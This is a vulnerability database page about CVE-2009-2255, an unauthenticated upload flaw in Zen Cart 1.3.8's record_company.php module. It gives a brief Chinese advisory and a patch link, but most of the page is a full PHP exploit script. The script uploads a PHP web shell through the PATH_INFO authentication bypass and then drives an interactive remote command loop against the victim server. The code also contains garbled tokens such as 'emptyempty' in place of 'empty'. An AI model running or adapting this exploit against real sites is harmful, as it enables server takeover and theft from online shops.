Lucene search

K
seebugRootSSV:12207
HistorySep 05, 2009 - 12:00 a.m.

Zen Cart record_company.php模块远程代码执行漏洞

2009-09-0500:00:00
Root
www.seebug.org
19

EPSS

0.307

Percentile

97.0%

BugCVE: CVE-2009-2255
BUGTRAQ: 35467

Zen Cart没有对admin/record_company.php模块强制管理认证,远程攻击者可以通过record_company_image和 PATH_INFO参数上传.php文件,并通过直接请求images/中的文件来访问上传的文件,导致执行任意指令。

Zen Cart 1.3.8
厂商补丁:
Zen Ventures

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.zen-cart.com/forum/showthread.php?t=130161


                                                 #!/usr/bin/php  
<?php  
  
#  
# ------- Zen Cart 1.3.8 Remote Code Execution  
# http://www.zen-cart.com/  
# Zen Cart Ecommerce - putting the dream of server rooting within reach of anyone!  
# A new version (1.3.8a)  is avaible on http://www.zen-cart.com/  
#  
# BlackH :)  
#  
  
error_reporting(E_ALL ^ E_NOTICE);  
if($argc < 2)  
{  
echo "  
=___________ Zen Cart 1.3.8 Remote Code Execution Exploit  ____________=  
========================================================================  
|                  BlackH <[email protected]>                          |  
========================================================================  
|                                                                      |  
| \$system> php $argv[0] <url>                                        |  
| Notes: <url>      ex: http://victim.com/site (no slash)              |  
|                                                                      |  
========================================================================  
";exit(1);  
}  
  
  
$url = $argv[1];  
$trick = "/password_forgotten.php";  
  
$xpl = new phpsploit();  
$xpl->agent("Mozilla Firefox");  
  
$real_kthxbye = remote_exec($url);  
  
# Remote Code Execution Exploit  
function remote_exec($url) {  
    global $xpl, $url, $trick;  
      
    echo "\n[-] Remote Code Execution";  
  
    if(!$xpl->get($url.'/admin/')) die("\n[!] error - the /admin/ directory is protected or don't exist.\n");  
      
    $n = substr(md5(rand(0, 1337)), 0, 5).".php"; # random php file  
    $code = '<?php system($_SERVER["HTTP_SHELL"]); ?>';  
      
    $form = array(frmdt_url => $url."/admin/record_company.php".$trick."?action=insert",  
            "record_company_name" => "0",  
            "record_company_image" => array(frmdt_type => "tgreal/suce", # it works ! o_O  
                                            frmdt_filename => $n,  
                                            frmdt_content => $code));  
  
    if($xpl->formdata($form)) echo "\n[!] Done - Start Shell: ".$n;  
    else die("\n[!] error - can't upload the shell\n");  
  
    print "\nrce@jah\$> ";  
  
    while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN))))){  
        $xpl->addheader('SHELL',$cmd);  
        $xpl->get($url.'/images/'.$n);      
        print $xpl->getcontent()."\nrce@jah$> ";  
        # don't forget to "rm *.php" and exit  
        # you can use "Zen Cart 1.3.8 Remote SQL Execution Exploit"   
        #  to clean the database (record_company & record_company_info)  
    }  
}  
  
class phpsploit  
{  
    var $proxyhost;  
    var $proxyport;  
    var $host;  
    var $path;  
    var $port;  
    var $method;  
    var $url;  
    var $packet;  
    var $proxyuser;  
    var $proxypass;  
    var $header;  
    var $cookie;  
    var $data;  
    var $boundary;  
    var $allowredirection;  
    var $last_redirection;  
    var $cookiejar;  
    var $recv;  
    var $cookie_str;  
    var $header_str;  
    var $server_content;  
    var $server_header;  
      
  
    /** 
     * This function is called by the 
     * get()/post()/formdata() functions. 
     * You don't have to call it, this is 
     * the main function. 
     * 
     * @access private 
     * @return string $this->recv ServerResponse 
     *  
     */  
    function sock()  
    {  
        if(!emptyempty($this->proxyhost) && !emptyempty($this->proxyport))  
           $socket = @fsockopen($this->proxyhost,$this->proxyport);  
        else  
           $socket = @fsockopen($this->host,$this->port);  
          
        if(!$socket)  
           die("Error: Host seems down");  
          
        if($this->method=='get')  
           $this->packet = 'GET '.$this->url." HTTP/1.1\r\n";  
             
        elseif($this->method=='post' or $this->method=='formdata')  
           $this->packet = 'POST '.$this->url." HTTP/1.1\r\n";  
             
        else  
           die("Error: Invalid method");  
          
        if(!emptyempty($this->proxyuser))  
           $this->packet .= 'Proxy-Authorization: Basic '.base64_encode($this->proxyuser.':'.$this->proxypass)."\r\n";  
          
        if(!emptyempty($this->header))  
           $this->packet .= $this->showheader();  
             
        if(!emptyempty($this->cookie))  
           $this->packet .= 'Cookie: '.$this->showcookie()."\r\n";  
      
        $this->packet .= 'Host: '.$this->host."\r\n";  
        $this->packet .= "Connection: Close\r\n";  
          
        if($this->method=='post')  
        {  
            $this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";  
            $this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";  
            $this->packet .= $this->data."\r\n";  
        }  
        elseif($this->method=='formdata')  
        {  
            $this->packet .= 'Content-Type: multipart/form-data; boundary='.str_repeat('-',27).$this->boundary."\r\n";  
            $this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";  
            $this->packet .= $this->data;  
        }  
  
        $this->packet .= "\r\n";  
        $this->recv = '';  
  
        fputs($socket,$this->packet);  
  
        while(!feof($socket))  
           $this->recv .= fgets($socket);  
  
        fclose($socket);  
  
        if($this->cookiejar)  
           $this->getcookie();  
  
        if($this->allowredirection)  
           return $this->getredirection();  
        else  
           return $this->recv;  
    }  
      
  
    /** 
     * This function allows you to add several 
     * cookies in the request. 
     *  
     * @access  public 
     * @param   string cookn CookieName 
     * @param   string cookv CookieValue 
     * @example $this->addcookie('name','value') 
     *  
     */  
    function addcookie($cookn,$cookv)  
    {  
        if(!isset($this->cookie))  
           $this->cookie = array();  
  
        $this->cookie[$cookn] = $cookv;  
    }  
  
  
    /** 
     * This function allows you to add several 
     * headers in the request. 
     * 
     * @access  public 
     * @param   string headern HeaderName 
     * @param   string headervalue Headervalue 
     * @example $this->addheader('Client-IP', '128.5.2.3') 
     *  
     */  
    function addheader($headern,$headervalue)  
    {  
        if(!isset($this->header))  
           $this->header = array();  
             
        $this->header[$headern] = $headervalue;  
    }  
  
  
    /** 
     * This function allows you to use an 
     * http proxy server. Several methods 
     * are supported. 
     *  
     * @access  public 
     * @param   string proxy ProxyHost 
     * @param   integer proxyp ProxyPort 
     * @example $this->proxy('localhost',8118) 
     * @example $this->proxy('localhost:8118') 
     *  
     */  
    function proxy($proxy,$proxyp='')  
    {  
        if(emptyempty($proxyp))  
        {  
            $proxarr = explode(':',$proxy);  
            $this->proxyhost = $proxarr[0];  
            $this->proxyport = (int)$proxarr[1];  
        }  
        else   
        {  
            $this->proxyhost = $proxy;  
            $this->proxyport = (int)$proxyp;  
        }  
  
        if($this->proxyport > 65535)  
           die("Error: Invalid port number");  
    }  
      
  
    /** 
     * This function allows you to use an 
     * http proxy server which requires a 
     * basic authentification. Several 
     * methods are supported: 
     * 
     * @access  public 
     * @param   string proxyauth ProxyUser 
     * @param   string proxypass ProxyPass 
     * @example $this->proxyauth('user','pwd') 
     * @example $this->proxyauth('user:pwd'); 
     *  
     */  
    function proxyauth($proxyauth,$proxypass='')  
    {  
        if(emptyempty($proxypass))  
        {  
            $posvirg = strpos($proxyauth,':');  
            $this->proxyuser = substr($proxyauth,0,$posvirg);  
            $this->proxypass = substr($proxyauth,$posvirg+1);  
        }  
        else  
        {  
            $this->proxyuser = $proxyauth;  
            $this->proxypass = $proxypass;  
        }  
    }  
  
  
    /** 
     * This function allows you to set 
     * the 'User-Agent' header. 
     *  
     * @access  public 
     * @param   string useragent Agent 
     * @example $this->agent('Firefox') 
     *  
     */  
    function agent($useragent)  
    {  
        $this->addheader('User-Agent',$useragent);  
    }  
  
      
    /** 
     * This function returns the headers 
     * which will be in the next request. 
     *  
     * @access  public 
     * @return  string $this->header_str Headers 
     * @example $this->showheader() 
     *  
     */  
    function showheader()  
    {  
        $this->header_str = '';  
          
        if(!isset($this->header))  
           return;  
             
        foreach($this->header as $name => $value)  
           $this->header_str .= $name.': '.$value."\r\n";  
             
        return $this->header_str;  
    }  
  
      
    /** 
     * This function returns the cookies 
     * which will be in the next request. 
     *  
     * @access  public 
     * @return  string $this->cookie_str Cookies 
     * @example $this->showcookie() 
     *  
     */  
    function showcookie()  
    {  
        $this->cookie_str = '';  
          
        if(!isset($this->cookie))  
           return;  
          
        foreach($this->cookie as $name => $value)  
           $this->cookie_str .= $name.'='.$value.'; ';  
  
        return $this->cookie_str;  
    }  
  
  
    /** 
     * This function returns the last 
     * formed http request. 
     *  
     * @access  public 
     * @return  string $this->packet HttpPacket 
     * @example $this->showlastrequest() 
     *  
     */  
    function showlastrequest()  
    {  
        if(!isset($this->packet))  
           return;  
        else  
           return $this->packet;  
    }  
  
  
    /** 
     * This function sends the formed 
     * http packet with the GET method. 
     *  
     * @access  public 
     * @param   string url Url 
     * @return  string $this->sock() 
     * @example $this->get('localhost/index.php?var=x') 
     * @example $this->get('http://localhost:88/tst.php') 
     *  
     */  
    function get($url)  
    {  
        $this->target($url);  
        $this->method = 'get';  
        return $this->sock();  
    }  
  
      
    /** 
     * This function sends the formed 
     * http packet with the POST method. 
     * 
     * @access  public 
     * @param   string url  Url 
     * @param   string data PostData 
     * @return  string $this->sock() 
     * @example $this->post('http://localhost/','helo=x') 
     *  
     */      
    function post($url,$data)  
    {  
        $this->target($url);  
        $this->method = 'post';  
        $this->data = $data;  
        return $this->sock();  
    }  
      
  
    /** 
     * This function sends the formed http 
     * packet with the POST method using 
     * the multipart/form-data enctype. 
     *  
     * @access  public 
     * @param   array array FormDataArray 
     * @return  string $this->sock() 
     * @example $formdata = array( 
     *                      frmdt_url => 'http://localhost/upload.php', 
     *                      frmdt_boundary => '123456', # Optional 
     *                      'var' => 'example', 
     *                      'file' => array( 
     *                                frmdt_type => 'image/gif',  # Optional 
     *                                frmdt_transfert => 'binary' # Optional 
     *                                frmdt_filename => 'hello.php, 
     *                                frmdt_content => '<?php echo 1; ?>')); 
     *          $this->formdata($formdata); 
     *  
     */  
    function formdata($array)  
    {  
        $this->target($array[frmdt_url]);  
        $this->method = 'formdata';  
        $this->data = '';  
          
        if(!isset($array[frmdt_boundary]))  
           $this->boundary = 'phpsploit';  
        else  
           $this->boundary = $array[frmdt_boundary];  
  
        foreach($array as $key => $value)  
        {  
            if(!preg_match('#^frmdt_(boundary|url)#',$key))  
            {  
                $this->data .= str_repeat('-',29).$this->boundary."\r\n";  
                $this->data .= 'Content-Disposition: form-data; name="'.$key.'";';  
                  
                if(!is_array($value))  
                {  
                    $this->data .= "\r\n\r\n".$value."\r\n";  
                }  
                else  
                {  
                    $this->data .= ' filename="'.$array[$key][frmdt_filename]."\";\r\n";  
  
                    if(isset($array[$key][frmdt_type]))  
                       $this->data .= 'Content-Type: '.$array[$key][frmdt_type]."\r\n";  
  
                    if(isset($array[$key][frmdt_transfert]))  
                       $this->data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert]."\r\n";  
  
                    $this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";  
                }  
            }  
        }  
  
        $this->data .= str_repeat('-',29).$this->boundary."--\r\n";  
        return $this->sock();  
    }  
  
      
    /** 
     * This function returns the content 
     * of the server response, without 
     * the headers. 
     *  
     * @access  public 
     * @param   string code ServerResponse 
     * @return  string $this->server_content 
     * @example $this->getcontent() 
     * @example $this->getcontent($this->get('http://localhost/')) 
     *  
     */  
    function getcontent($code='')  
    {  
        if(emptyempty($code))  
           $code = $this->recv;  
  
        $code = explode("\r\n\r\n",$code);  
        $this->server_content = '';  
          
        for($i=1;$i<count($code);$i++)  
           $this->server_content .= $code[$i];  
  
        return $this->server_content;  
    }  
  
      
    /** 
     * This function returns the headers 
     * of the server response, without 
     * the content. 
     *  
     * @access  public 
     * @param   string code ServerResponse 
     * @return  string $this->server_header 
     * @example $this->getcontent() 
     * @example $this->getcontent($this->post('http://localhost/','1=2')) 
     *  
     */  
    function getheader($code='')  
    {  
        if(emptyempty($code))  
           $code = $this->recv;  
  
        $code = explode("\r\n\r\n",$code);  
        $this->server_header = $code[0];  
          
        return $this->server_header;  
    }  
  
      
    /** 
     * This function is called by the 
     * cookiejar() function. It adds the 
     * value of the "Set-Cookie" header 
     * in the "Cookie" header for the 
     * next request. You don't have to 
     * call it. 
     *  
     * @access private 
     * @param  string code ServerResponse 
     *  
     */  
    function getcookie()  
    {  
        foreach(explode("\r\n",$this->getheader()) as $header)  
        {  
            if(preg_match('/set-cookie/i',$header))  
            {  
                $fequal = strpos($header,'=');  
                $fvirgu = strpos($header,';');  
                  
                // 12=strlen('set-cookie: ')  
                $cname  = substr($header,12,$fequal-12);  
                $cvalu  = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));  
                  
                $this->cookie[trim($cname)] = trim($cvalu);  
            }  
        }  
    }  
  
  
    /** 
     * This function is called by the 
     * get()/post() functions. You 
     * don't have to call it. 
     * 
     * @access  private 
     * @param   string urltarg Url 
     * @example $this->target('http://localhost/') 
     *  
     */  
    function target($urltarg)  
    {  
        if(!ereg('^http://',$urltarg))  
           $urltarg = 'http://'.$urltarg;  
             
        $urlarr     = parse_url($urltarg);  
        $this->url  = 'http://'.$urlarr['host'].$urlarr['path'];  
          
        if(isset($urlarr['query']))  
           $this->url .= '?'.$urlarr['query'];  
          
        $this->port = !emptyempty($urlarr['port']) ? $urlarr['port'] : 80;  
        $this->host = $urlarr['host'];  
          
        if($this->port != '80')  
           $this->host .= ':'.$this->port;  
  
        if(!isset($urlarr['path']) or emptyempty($urlarr['path']))  
           die("Error: No path precised");  
  
        $this->path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);  
  
        if($this->port > 65535)  
           die("Error: Invalid port number");  
    }  
      
      
    /** 
     * If you call this function, 
     * the script will extract all 
     * 'Set-Cookie' headers values 
     * and it will automatically add 
     * them into the 'Cookie' header 
     * for all next requests. 
     * 
     * @access  public 
     * @param   integer code 1(enabled) 0(disabled) 
     * @example $this->cookiejar(0) 
     * @example $this->cookiejar(1) 
     *  
     */  
    function cookiejar($code)  
    {  
        if($code=='0')  
           $this->cookiejar=FALSE;  
  
        elseif($code=='1')  
           $this->cookiejar=TRUE;  
    }  
  
  
    /** 
     * If you call this function, 
     * the script will follow all 
     * redirections sent by the server. 
     *  
     * @access  public 
     * @param   integer code 1(enabled) 0(disabled) 
     * @example $this->allowredirection(0) 
     * @example $this->allowredirection(1) 
     *  
     */  
    function allowredirection($code)  
    {  
        if($code=='0')  
           $this->allowredirection=FALSE;  
             
        elseif($code=='1')  
           $this->allowredirection=TRUE;  
    }  
  
      
    /** 
     * This function is called if 
     * allowredirection() is enabled. 
     * You don't have to call it. 
     * 
     * @access private 
     * @return string $this->get('http://'.$this->host.$this->path.$this->last_redirection) 
     * @return string $this->get($this->last_redirection) 
     * @return string $this->recv; 
     *  
     */  
    function getredirection()  
    {  
        if(preg_match('/(location|content-location|uri): (.*)/i',$this->getheader(),$codearr))  
        {  
            $this->last_redirection = trim($codearr[2]);  
              
            if(!ereg('://',$this->last_redirection))  
               return $this->get('http://'.$this->host.$this->path.$this->last_redirection);  
  
            else  
               return $this->get($this->last_redirection);  
        }  
        else  
           return $this->recv;  
    }  
  
  
    /** 
     * This function allows you 
     * to reset some parameters. 
     *  
     * @access  public 
     * @param   string func Param 
     * @example $this->reset('header') 
     * @example $this->reset('cookie') 
     * @example $this->reset() 
     *  
     */  
    function reset($func='')  
    {  
        switch($func)  
        {  
            case 'header':  
            $this->header = array('');  
            break;  
                  
            case 'cookie':  
            $this->cookie = array('');  
            break;  
                  
            default:  
            $this->cookiejar = '';  
            $this->header = array('');  
            $this->cookie = array('');  
            $this->allowredirection = '';  
            break;  
        }  
    }  
}  
  
?>  
                              

EPSS

0.307

Percentile

97.0%